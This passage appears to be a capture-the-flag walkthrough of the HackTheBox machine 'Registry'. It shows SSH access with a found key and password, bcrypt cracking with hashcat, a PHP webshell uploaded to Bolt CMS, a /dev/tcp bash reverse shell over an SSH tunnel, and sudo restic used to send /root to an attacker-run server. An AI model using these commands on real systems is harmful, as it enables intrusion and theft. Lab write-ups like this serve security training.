Regardless of how I got access to the file system I can now enumerate the host. Looking through the file system, I already found a reference to SSH keys in /root and a password. I find the encrypted key in root’s homedir:
root@kali# ls fs/root/.ssh/
config id_rsa id_rsa.pub known_hosts
root@kali# cat fs/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9
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
Bdtfi9goJBFb6P7yHapZ13W30b96ZQG4Gdf4ZeV6MPMizcTbiggZRBokZLCBMb5H
pgkPgTrGJlbm+sLu/kt4jgex3T/NWwXHVrny5kIuTbbv1fXfyfkPqU66eysstO2s
OxciNk4W41o9YqHHYM9D/uL6xMqO3K/LTYUI+LcCK13pkjP7/zH+bqiClfNt0D2B
Xg6OWYK7E/DTqX+7zqNQp726sDAYKqQNpwgHldyDhOG3i8o66mLj3xODHQzBvwKR
bJ7jrLPW+AmQwo/V8ElNFPyP6oZBEdoNVn/plMDAi0ZzBHJc7hJ0JuHnMggWFXBM
PjxG/w4c8XV/Y2WavafEjT7hHuviSo6phoED5Zb3Iu+BU+qoEaNM/LntDwBXNEVu
Z0pIXd5Q2EloUZDXoeyMCqO/NkcIFkx+//BDddVTFmfw21v2Y8fZ2rivF/8CeXXZ
ot6kFb4G6gcxGpqSZKY7IHSp49I4kFsC7+tx7LU5/wqC9vZfuds/TM7Z+uECPOYI
f41H5YN+V14S5rU97re2w49vrBxM67K+x930niGVHnqk7t/T1jcErROrhMeT6go9
RLI9xScv6aJan6xHS+nWgxpPA7YNo2rknk/ZeUnWXSTLYyrC43dyPS4FvG8N0H1V
94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr
-----END RSA PRIVATE KEY-----
I also find config, which tells me where the key is useful:
root@kali# cat fs/root/.ssh/config
Host registry
User bolt
Port 22
Hostname registry.htb
I could also see the username bolt@registry.htb in the public key:
root@kali# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ0QB2PXyb2AUShspjygtkqjzXFuX0dbayPI/irOEYCAOtgQs+nb9Ij3vZZX+LMPpNtWJaGF+ti/5gTjnhfjyNji7L/3Se6aIJAqMlFqkf+E5xKntRlM9dpqMMNRLgAYAKW5lj5OciQ7ZaXx7btoYLiQHlxXbj8RwEirWuFqwbi2lznckAU9Ua1DSu6yKdqIIpkB2FvJVFakTS32FagJ+rGm9TIWeiOPaQvKhyXQ0jeBL4Sdi5PmhLtkdOEWVgYVSoWaOythA3J2c1UAhfl5dLGS0FuD4Dv46xyrI8H7gpAexa1yF3Kei4PTHBEIQxscejsfCEOVZwe4sngYKrU7o6sf0rWpOf7jHuEUMCZVQgQ55fvv10P6CA2qhPQ/bpKzp2pGXRb1Xdr6v+ObgQ4knkK1GKqOegOane0wyhD5RFQF/NeYBqt1UIM2KigDv9foENc7p9HhHGFoWJEzyOeWCm4QcSg9H2ZgfZRAhCoiEijHh19SdNh9wanydkaj9H7iTsvNDi8ON4sLRGjVBsfPLl+UjIIsHU+bG+pxHUzb65yHJ8iFX+DndJncdbQs6X9Ckii58ElBmkSUDSZpFsOV81vVk6qdGm+EBcpVO09YsC03nUj1VEHtQG8hOG/tJqesB50I5Gbi7+V2qZit3ZZOvkhVF5l2N0U9asjSpIT5Bmow== bolt@registry.htb
SSH Access
Now I have all I need to connect in with SSH as bolt using the key and password “GkOcz221Ftb3ugog”:
root@kali# ssh -i ~/id_rsa_registry_root bolt@10.10.10.159
Enter passphrase for key '/root/id_rsa_registry_root':
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-29-generic x86_64)
Last login: Mon Oct 21 01:16:27 2019 from 10.10.14.6
bolt@bolt:~$ id
uid=1001(bolt) gid=1001(bolt) groups=1001(bolt)
From there I can grab user.txt (which strangely isn’t an MD5 this time):
bolt@bolt:~$ cat user.txt
ytc0ytdm************************
Priv: bolt –> www-data
Get Bolt CMS Credentials
Enumeration
With a shell on the box, I can access the webserver setup, including the Bolt instance. In the config file located at /var/www/html/bolt/app/config/config.yml, I see this information about the database:
# If you're trying out Bolt, just keep it set to SQLite for now.
database:
driver: sqlite
databasename: bolt
One directory down, I find that database:
bolt@bolt:/var/www/html/bolt/app/database$ file bolt.db
bolt.db: SQLite 3.x database, last written using SQLite version 3022000
sqlite db
I’ll scp the database back to my box:
root@kali# scp -i ~/id_rsa_registry_bolt bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db .
bolt.db 100% 288KB 1.8MB/s 00:00
Now I can check it out. First I’l show the tables:
root@kali# sqlite3 bolt.db
SQLite version 3.29.0 2019-07-10 17:32:03
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken bolt_field_value bolt_pages bolt_users
bolt_blocks bolt_homepage bolt_relations
bolt_cron bolt_log_change bolt_showcases
bolt_entries bolt_log_system bolt_taxonomy
In looking through them, the most interesting is bolt_users:
sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-24 11:08:33|10.10.14.6|Admin|["files://cmd.php"]|1||||3||["root","everyone"]
That looks like username and hash for the admin login to manage the CMS.
Crack Hash
That hash looks to be bcrypt blowfish, according to the hashcat example hashes. That’s mode 3200. I’ll save the hash to a file and run hashcat against it. Because I don’t have a GPU cracking station, and I am working in my VM, this will be especially slow:
root@kali# hashcat -m 3200 admin.blowfish /usr/share/wordlists/rockyou.txt --force
Fortunately, after a couple minutes, there’s a hit:
$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK:strawberry
Login
Now I can visit https://10.10.10.159/bolt/bolt/ (which redirects to https://10.10.10.159/bolt/bolt/login), and log in with admin:strawberry. It takes me to the admin panel:
Solid Webshell
Initial Webshell
In the menu in the picture above, I’ll select File Management –> Uploaded Files:
I’ll try to upload my standard simple PHP webshell:
<?php system($_REQUEST['cmd']); ?>
It returns the following error message:
But, I’m logged in as admin, and Bolt let’s me change that configuration. Under Configuration –> Main Configuration, it presents config.yml. If I scroll down, I can see the accepted_file_types:
I’ll add php, and save. Even though the comment says that certain file types (includine php) are never allowed even if they are in this list, I can now go back to the uploads page and upload cmd.php:
I can find it at /bolt/files/cmd.php
root@kali# curl -k -s https://10.10.10.159/bolt/files/cmd.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell Fail
Right away I tried to get a reverse shell, and but it didn’t connect back to me. I tried several of the ones from the PentestMonkey Reverse Shell Cheat Sheet, but none worked. I then tried just to connect back to myself using nc from my shell with nc 10.10.14.6 443, and it didn’t connect. There’s something blocking outbound.
If I wait a minute or two, I’ll notice that all that work gets undone. Specifically, the webshell is removed, and php is removed from the acceptable file types in the settings.
Better Webshell
Given that I needed to do some playing, having to reset my webshell every two minutes was getting annoying. I could script up the webshell delivery, but I opted for something else here. I uploaded a webshell, and visited http://10.10.10.159/bolt/files/cmd.php?cmd=cp /var/www/html/bolt/files/cmd.php /var/www/html/.df.php. This will copy the webshell into the root directory, creating a copy of the webshell that the automated scripts aren’t cleaning up at https://10.10.10.159/.df.php?cmd=id.
Shell
Goals / Constrains
I want to go from this RCE via webshell to a full shell. Unfortunately, I can’t make connections back to my host. I’ll show two ways to get a shell.
Method 1: Catch Shell on Registry
I can use my SSH session as bolt to start a nc listener, and have the webshell camme back to localhost:
root@kali# curl -k 'https://10.10.10.159/.df.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/127.0.0.1/443 0>&1'"
On doing so, I get a shell:
bolt@bolt:/dev/shm$ nc -lnvp 443
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 36010 received!
bash: cannot set terminal process group (971): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I can upgrade the shell just as I do locally with python -c 'import pty;pty.spawn("bash")', and then Ctrl-Z, stty raw -echo, fg.
Method 2: SSH Reverse Tunnel
I can disconnect my SSH session and then reconnect with -R:4444:localhost:443. That will tell the remote host (Registry) to listen on 4444. Anything that is sent to 4444 will forward through the tunnel, and then be passed by my machine to localhost 443. So I’ll listen on 443 with nc, and then issue the exact same curl command as above:
root@kali# curl -k 'https://10.10.10.159/.df.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
At my listener:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from ::1.
Ncat: Connection from ::1:60530.
bash: cannot set terminal process group (971): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Priv: www-data –> root
Enumeration
One of the first things I always check is sudo. But I didn’t even have to check that he because I remembered seeing backup.php when I was enumerating the websever. When I got a shell as bolt, I went to check it:
bolt@bolt:/var/www/html$ cat backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
This implies that the www-data user can run restic as root. sudo -l as www-data confirms:
www-data@bolt:~/html$ sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
Restic Background
I’d never heard of Restic, but it looks like a backup solution. The restic binary has a bunch of subcommands:
www-data@bolt:~/html$ restic
restic is a backup program which allows saving multiple revisions of files and
directories in an encrypted repository stored on different backends.
Usage:
restic [command]
Available Commands:
backup Create a new backup of files and/or directories
cat Print internal objects to stdout
check Check the repository for errors
diff Show differences between two snapshots
dump Print a backed-up file to stdout
find Find a file or directory
forget Remove snapshots from the repository
generate Generate manual pages and auto-completion files (bash, zsh)
help Help about any command
init Initialize a new repository
key Manage keys (passwords)
list List objects in the repository
ls List files in a snapshot
migrate Apply migrations
mount Mount the repository
prune Remove unneeded data from the repository
rebuild-index Build a new index file
restore Extract the data from a snapshot
snapshots List all snapshots
tag Modify tags on snapshots
unlock Remove locks other processes created
version Print version information
Flags:
--cacert stringSlice path to load root certificates from (default: use system certificates)
--cache-dir string set the cache directory
--cleanup-cache auto remove old cache directories
-h, --help help for restic
--json set output mode to JSON for commands that support it
--limit-download int limits downloads to a maximum rate in KiB/s. (default: unlimited)
--limit-upload int limits uploads to a maximum rate in KiB/s. (default: unlimited)
--no-cache do not use a local cache
--no-lock do not lock the repo, this allows some operations on read-only repos
-o, --option key=value set extended option (key=value, can be specified multiple times)
-p, --password-file string read the repository password from a file (default: $RESTIC_PASSWORD_FILE)
-q, --quiet do not output comprehensive progress report
-r, --repo string repository to backup to or restore from (default: $RESTIC_REPOSITORY)
--tls-client-cert string path to a file containing PEM encoded TLS client certificate and private key
Use "restic [command] --help" for more information about a command.
There’s a few things to note here:
sudoonly allows thebackupsubcommand to be run as root.- The
initsubcommand is used to create a new repository. On running it, I’ll need to provide the password for the repository, and there’s no way to read data from the repo without that password. -rdefines the repository in use for theresticoperation.- The docs for Preparing a new repo show that repos can be local, or accessed over SFTP, REST, Amazon S3, Minio, OpenStack Swift, and several other commercial cloud providers.
Local Repo - Failed
My first thinking was to create a local repo, and then inspect the files in it and find the flag. Fortunately for restic users, and unfortunately for me, the software does a good job of preserving file permissions. I’ll show that failure, but you won’t miss anything about solving the box if you skip to the next section.
I’ll work out of the /dev/shm dir since I won’t get to define a full path on the repo. Then I’ll init a local repo:
www-data@bolt:/dev/shm$ restic init -r rest0xdf
enter password for new repository:
enter password again:
created restic repository 5229c88567 at rest0xdf
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
My repo has been created:
www-data@bolt:/dev/shm$ ls -l
total 0
drwx------ 7 www-data www-data 160 Oct 25 10:46 rest0xdf
www-data@bolt:/dev/shm$ ls -l rest0xdf/
total 4
-rw------- 1 www-data www-data 155 Oct 25 10:46 config
drwx------ 258 www-data www-data 5160 Oct 25 10:46 data
drwx------ 2 www-data www-data 40 Oct 25 10:46 index
drwx------ 2 www-data www-data 60 Oct 25 10:46 keys
drwx------ 2 www-data www-data 40 Oct 25 10:46 locks
drwx------ 2 www-data www-data 40 Oct 25 10:46 snapshots
Now I’ll backup a file I can read:
www-data@bolt:/dev/shm$ restic backup -r rest0xdf /var/www/html/index.html
enter password for repository:
password is correct
unable to open cache: Stat: stat /var/www/.cache/restic: permission denied
scan [/var/www/html/index.html]
scanned 0 directories, 1 files in 0:00
[0:00] 100.00% 612B / 612B 1 / 1 items 0 errors ETA 0:00
duration: 0:00
snapshot 03d3afde saved
After reading a bunch of docs and the help files, I figured out how to list files and read files from the backup using restic. I can list the files and see index.html is in there:
www-data@bolt:/dev/shm$ restic -r rest0xdf ls latest
enter password for repository:
password is correct
unable to open cache: Stat: stat /var/www/.cache/restic: permission denied
snapshot 03d3afde of [/var/www/html/index.html] at 2019-10-25 10:47:18.600770953 +0000 UTC):
/index.html
I can dump the file as well:
www-data@bolt:/dev/shm$ restic -r rest0xdf dump latest index.html
enter password for repository:
password is correct
unable to open cache: Stat: stat /var/www/.cache/restic: permission denied
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
I also looked to see if the file existed on the file system in plaintext, but it did not:
www-data@bolt:/dev/shm$ grep -r "Welcome to nginx" .
www-data@bolt:/dev/shm$
That makes sense since the contents are encrypted with the key I set at init. I can see that there are a couple files in data now, owned by www-data, the user that invoked the backup command:
www-data@bolt:/dev/shm$ find . -type f -ls
267 4 -rw------- 1 www-data www-data 155 Oct 25 10:46 ./rest0xdf/config
269 4 -rw------- 1 www-data www-data 717 Oct 25 10:47 ./rest0xdf/data/46/46a169efef7435ab7f89b27fcebd0cff460c3f67fd463fee1cf442c87af745d5
270 4 -rw------- 1 www-data www-data 475 Oct 25 10:47 ./rest0xdf/data/0b/0b6a29d81d6dae16e2319be1d6b85f34507de52ab93c85aba0b3021eba102a15
266 4 -rw------- 1 www-data www-data 446 Oct 25 10:46 ./rest0xdf/keys/474c5acc54f6f0a1546057a4bfb9198de12f81fdc49b798fc7f8671cb7c4f3d3
271 4 -rw------- 1 www-data www-data 436 Oct 25 10:47 ./rest0xdf/index/49b380245c42e2c279c48661309bce4747ca27d04ba26c05dd6546f44f41737f
272 4 -rw------- 1 www-data www-data 242 Oct 25 10:47 ./rest0xdf/snapshots/03d3afde453db4a6bfb7f609b7e193f74da4df26aa3ed75f780ee71e41d3149a
I’ll now try to add root.txt. I’ll copy the exact structure of the command from the sudo -l output, and running it seems to work:
www-data@bolt:/dev/shm$ sudo /usr/bin/restic backup -r rest0xdf /root/root.txt
enter password for repository:
password is correct
found 1 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them
scan [/root/root.txt]
scanned 0 directories, 1 files in 0:00
[0:00] 100.00% 33B / 33B 1 / 1 items 0 errors ETA 0:00
duration: 0:00
snapshot c1b113d3 saved
When I try to run restic ls, it returns a bunch of permission denied errors:
www-data@bolt:/dev/shm$ restic -r rest0xdf ls latest
enter password for repository:
password is correct
unable to open cache: Stat: stat /var/www/.cache/restic: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 300.924934ms: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 981.114221ms: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 1.210207268s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 2.124743713s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 3.401829302s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 2.327157547s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 7.53879474s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 6.302533801s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 11.599751446s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
Load(<index/c802404d7b>, 0, 0) returned error, retrying after 18.2850434s: open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied
open rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836: permission denied, ignoring
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 500.909542ms: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 504.502572ms: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 1.226562911s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 2.181554963s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 1.533140373s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 5.667654255s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 6.8113573s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 7.396488766s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 9.413027788s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Load(<snapshot/c1b113d35f>, 0, 0) returned error, retrying after 28.261058733s: open rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e: permission denied
Ignoring "latest", no snapshot matched given filter (Paths:[] Tags:[] Host:)
I can see there are files now in the repo structure owned by root:
www-data@bolt:/dev/shm$ find . -type f -ls
267 4 -rw------- 1 www-data www-data 155 Oct 25 10:46 ./rest0xdf/config
268 4 -rw------- 1 root root 138 Oct 25 10:53 ./rest0xdf/data/d3/d34aaa5ed0cf530ee647a0ecf72e684765df00bccbb5bfe2554682b491ac3353
273 4 -rw------- 1 root root 463 Oct 25 10:53 ./rest0xdf/data/65/65bb60bf25f74a8894e66ce316b4d18a9c41835709b5c2cf3988c227f692eae9
269 4 -rw------- 1 www-data www-data 717 Oct 25 10:47 ./rest0xdf/data/46/46a169efef7435ab7f89b27fcebd0cff460c3f67fd463fee1cf442c87af745d5
270 4 -rw------- 1 www-data www-data 475 Oct 25 10:47 ./rest0xdf/data/0b/0b6a29d81d6dae16e2319be1d6b85f34507de52ab93c85aba0b3021eba102a15
266 4 -rw------- 1 www-data www-data 446 Oct 25 10:46 ./rest0xdf/keys/474c5acc54f6f0a1546057a4bfb9198de12f81fdc49b798fc7f8671cb7c4f3d3
274 4 -rw------- 1 root root 435 Oct 25 10:53 ./rest0xdf/index/c802404d7b937a74fc9da785c65ccec80ecf7e37d9c0e69415177deb1dae3836
271 4 -rw------- 1 www-data www-data 436 Oct 25 10:47 ./rest0xdf/index/49b380245c42e2c279c48661309bce4747ca27d04ba26c05dd6546f44f41737f
275 4 -rw------- 1 root root 210 Oct 25 10:53 ./rest0xdf/snapshots/c1b113d35fc5413049b285ab526bfbc44db32ad5e62c81e19452ca2d0d99620e
272 4 -rw------- 1 www-data www-data 242 Oct 25 10:47 ./rest0xdf/snapshots/03d3afde453db4a6bfb7f609b7e193f74da4df26aa3ed75f780ee71e41d3149a
REST Repo
Installation
Deciding that the local repo was likely a dead end, I turned towards the REST repo. The documentation points to this server.
Installing it was pretty simple:
root@kali:/opt# git clone https://github.com/restic/rest-server.git
Cloning into 'rest-server'...
remote: Enumerating objects: 3101, done.
remote: Total 3101 (delta 0), reused 0 (delta 0), pack-reused 3101
Receiving objects: 100% (3101/3101), 5.61 MiB | 10.93 MiB/s, done.
Resolving deltas: 100% (1145/1145), done.
root@kali:/opt# cd rest-server/
root@kali:/opt/rest-server# make
root@kali:/opt/rest-server# make install
/usr/bin/install -m 755 rest-server /usr/local/bin/rest-server
Now I can run the server. It took me a couple of runs and reading docs to get the server to run, but on the third try it did:
root@kali:/opt/rest-server# rest-server
Data directory: /tmp/restic
Authentication enabled
error: cannot load .htpasswd (use --no-auth to disable): stat /tmp/restic/.htpasswd: no such file or directory
root@kali:/opt/rest-server# rest-server --no-auth
Data directory: /tmp/restic
Authentication disabled
Private repositories disabled
Starting server on :8000
error: listen tcp :8000: bind: address already in
root@kali:/opt/rest-server# rest-server --no-auth --listen 0.0.0.0:4433
Data directory: /tmp/restic
Authentication disabled
Private repositories disabled
Starting server on 0.0.0.0:4433
Tunnel
Now I need to allow Registry to commnicate back to my repo. I’m listening on 4433, so I’ll ssh in as bolt with and create that tunnel just as above.
root@kali# ssh -i ~/id_rsa_registry_root bolt@10.10.10.159 -R:4433:localhost:4433
I can see that Registry is listening on 4433:
bolt@bolt:/dev/shm$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4433 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 ::1:4433 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Backup /root
I’ll follow similar procedure as with the local repo. I’ll start by creating a repo:
www-data@bolt:/dev/shm$ restic init -r rest:http://127.0.0.1:4433/0xdf
enter password for new repository:
enter password again:
created restic repository 98a0e52ca7 at rest:http://127.0.0.1:4433/0xdf
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
In my local terminal where the rest server is running, it prints:
Creating repository directories in /tmp/restic/0xdf
I’ll go right to the sudo version this time, and back up all of /root:
www-data@bolt:/dev/shm$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:4433/0xdf /root
enter password for repository:
password is correct
found 1 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them
scan [/root]
scanned 10 directories, 14 files in 0:00
[0:00] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00
duration: 0:00
snapshot 7ade8718 saved
Local File Access
From my local box, I can now list the files in the repo:
root@kali# restic -r /tmp/restic/0xdf/ ls latest
enter password for repository:
repository 98a0e52c opened successfully, password is correct
created new cache in /root/.cache/restic
snapshot 7ade8718 of [/root] filtered by [] at 2019-10-25 13:09:18.731156337 +0000 UTC):
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.config
/root/.config/composer
/root/.config/composer/keys.dev.pub
/root/.config/composer/keys.tags.pub
/root/.gnupg
/root/.gnupg/private-keys-v1.d
/root/.local
/root/.local/share
